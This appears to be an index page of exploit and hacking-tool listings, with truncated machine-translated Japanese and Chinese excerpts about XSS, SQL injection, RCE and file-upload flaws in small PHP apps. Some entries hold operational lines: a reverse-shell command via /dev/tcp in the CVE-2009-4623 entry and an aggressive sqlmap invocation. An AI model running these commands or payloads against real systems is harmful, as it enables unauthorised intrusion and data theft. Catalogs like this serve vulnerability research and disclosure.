CVE-2022-33075

CVE-2022-33075 エクスプロイトタイトル: Zoo Management System 1.0 - 格納型クロスサイトスクリプティング XSS 日付: 05/26/2022 エクスプロイト作成者: Angelo Pio Amirante ベンダーホームページ: https://www.sourcecodester.com/ ソフトウェアリンク: https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html...

CVE-2022-30514

CVE-2022-30514 学校宿舍管理系统 1.0 - 反射型XSS 漏洞标题：学校宿舍管理系统 1.0 - 反射型XSS 日期：2022-05-25 CVE编号：CVE-2022-30514 漏洞发现者：Abdulaziz Saad @b4zb0z 厂商主页：https://www.sourcecodester.com/ 软件链接：https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html 版本：1.0 测试环境：LAMP, Ubun...

CVE-2009-4623

Advanced Comment System 1.0 - 远程命令执行 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 示例 root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2022-30510

CVE-2022-30510 School Dormitory Management System 1.0 - 未認証SQLインジェクション エクスプロイトタイトル: School Dormitory Management System 1.0 - 未認証SQLインジェクション 日付: 2022-05-25 CVE: CVE-2022-30510 エクスプロイト作者: Abdulaziz Saad @b4zb0z ベンダーホームページ: https://www.sourcecodester.com/ ソフトウェアリンク:...

p-gen

ツールについて： P-gen ツールは、Python ベースのスクリプトで、一瞬でランダムなパスワードを作成・生成します。このツールは、root化されたAndroidデバイスでも、root化されていないAndroidデバイスでも動作します。 対応環境： Termux テスト済み環境： Termux 必要条件： インターネット接続 ストレージ 200 MB 機能：...

CVE-2022-30513

CVE-2022-30513 School Dormitory Management System 1.0 - 反射型XSS 利用标题：School Dormitory Management System 1.0 - 反射型XSS 日期：2022-05-25 CVE：CVE-2022-30513 漏洞利用作者：Abdulaziz Saad @b4zb0z 厂商主页：https://www.sourcecodester.com/...

CVE-2022-40347_Intern-Record-System-phone-V1.0-SQL-Injection-Vulnerability-Unauthenticated

CVE-2022-40347: Intern Record System - 'phone', 'email', 'deptType' and 'name' SQLインジェクション（認証なし） エクスプロイトタイトル: Intern Record System - 'phone', 'email', 'deptType' and 'name' SQLインジェクション（認証なし） 日付: 2022-06-09 エクスプロイト作成者: Hamdi Sevben ベンダーホームページ:...

kalimux

...

CVE-2022-27413

Hospital-Management-System v1.0 - SQL 注入 厂商 描述： 存在漏洞的页面是 admin.php http://you ip/HMS/admin.php Hospital-Management-System v1.0 admin.php 页面中的 adminname 参数似乎容易受到 SQL 注入攻击。 +sqlmap: python3 sqlmap.py -r Your post packet.txt --random-agent --risk=3 --level=3 -dbs + Payloads: root@kitploit: Parameter...

CVE-2024-51435

bloodbank 在血库系统 v 1.0 中发现的一个简单 csrf poc...

wordlistgen

wordlistgen JavaScriptのエンドポイントを検索してターゲット固有のワードリストを生成し、他のツールでのファジング用にパラメータを追加します バージョン 1.0 インストール $ go get -u github.com/ethicalhackingplayground/wordlistgen $ go get github.com/003random/getJS ワードリストを生成 $ echo "https://www.twitter.com" | getJS -complete | ./wordlistgen -p params.txt -d...

reGeorg

reGeorg root@kitploit: | | | | | || | || |/ | | | | | \ | || | | || || || \ | | | ||\|||| |||/||\|| || ... every office needs a tool like Georg [email protected] / @wm [email protected] / @trowalts [email protected] / @kampstaaldaad バージョン 1.0 依存関係 reGeorg は Python 2.7...

39646

39646 WordPress 插件 Advanced Video 1.0 - 本地文件包含更新 原始功劳归功于 evait security GmbH 此脚本是原始漏洞利用程序的更稳健版本。...

CVE-2022-28077

CVE-2022-28077 Home Owners Collection Management System 1.0 - 反射型XSS 漏洞利用标题：Home Owners Collection Management System 1.0 - 反射型XSS 日期：2022-05-06 CVE：CVE-2022-28077 漏洞利用作者：Abdulaziz Saad @b4zb0z 厂商主页：https://www.sourcecodester.com/...

CVE-2022-31897

CVE-2022-31897 日期：06/22/2022 漏洞作者：Angelo Pio Amirante 厂商主页：https://www.sourcecodester.com/ 软件链接：https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html 版本：1.0 测试环境：服务器：Windows 10 上的 XAMPP CVE编号：CVE-2022-31897 描述： Zoo Management System 1.0...

CVE-2022-28078

CVE-2022-28077 Home Owners Collection Management System 1.0 - 反射型XSS Exploit标题: Home Owners Collection Management System 1.0 - 反射型XSS 日期: 2022-05-06 CVE: CVE-2022-28078 漏洞作者: Abdulaziz Saad @b4zb0z 厂商主页: https://www.sourcecodester.com/ 软件链接:...

CVE-2002-0288

CVE-2002-0288 Phusion WebServer 1.0 - 目录遍历（1） Exploit-db 发布在 https://www.exploit-db.com/exploits/21291/ CVE-2002-0288 Phusion WebServer 1.0 - 目录遍历（2） Exploit-db 发布在 https://www.exploit-db.com/exploits/21292/ 作者 Alex Hernandez 又名 @alt3kx...

CVE-2023-49977

CVE-2023-49977 Customer Support System 1.0 - 在 “customerlist” 页面的 “Address” 字段/参数中存在跨站脚本（XSS）漏洞 描述 : Customer Support System 1.0 存在存储型 XSS 漏洞。Customer Support System 1.0 版本中存在 XSS 漏洞。恶意行为者可以在编辑/创建客户时，通过 “Address” 字段/参数插入 JavaScript 代码。只要访问 “/customersupport/index.php?page=customerlist” 页面，该代码就会被执...

CVE-2024-25202

CVE-2024-25202 PHPgurukul visitor management system 1.0 に脆弱性が見つかりました。問題ありと評価されています。影響を受けるのは、search-result.php および search-visitor.php と呼ばれるファイル検索バーの一部の不明な機能です。この脆弱性はクロスサイトスクリプティング XSS です。 使用方法 PHPGURUKUL での別の脆弱性の発見は、認証セッションにおける SQL インジェクションです。 ログイン アカウントにログインするか、SQL...

CVE-2026-37748

CVE-2026-37748 — 访客管理系统 1.0 - 无限制文件上传 → RCE 详细信息 字段| 信息 ---|--- CVE ID| CVE-2026-37748 类型| 无限制文件上传 → 远程代码执行 严重性| 高危（CVSSv3: 7.2） 厂商| sanjay1313 产品| 访客管理系统 版本| 1.0 发现者| Varad AP Mene 日期| 2026-04-16 CWE| CWE-434 描述 sanjay1313 开发的访客管理系统 1.0 存在一个严重的无限制文件上传漏洞。vms/php/adminuserinsert.php 和...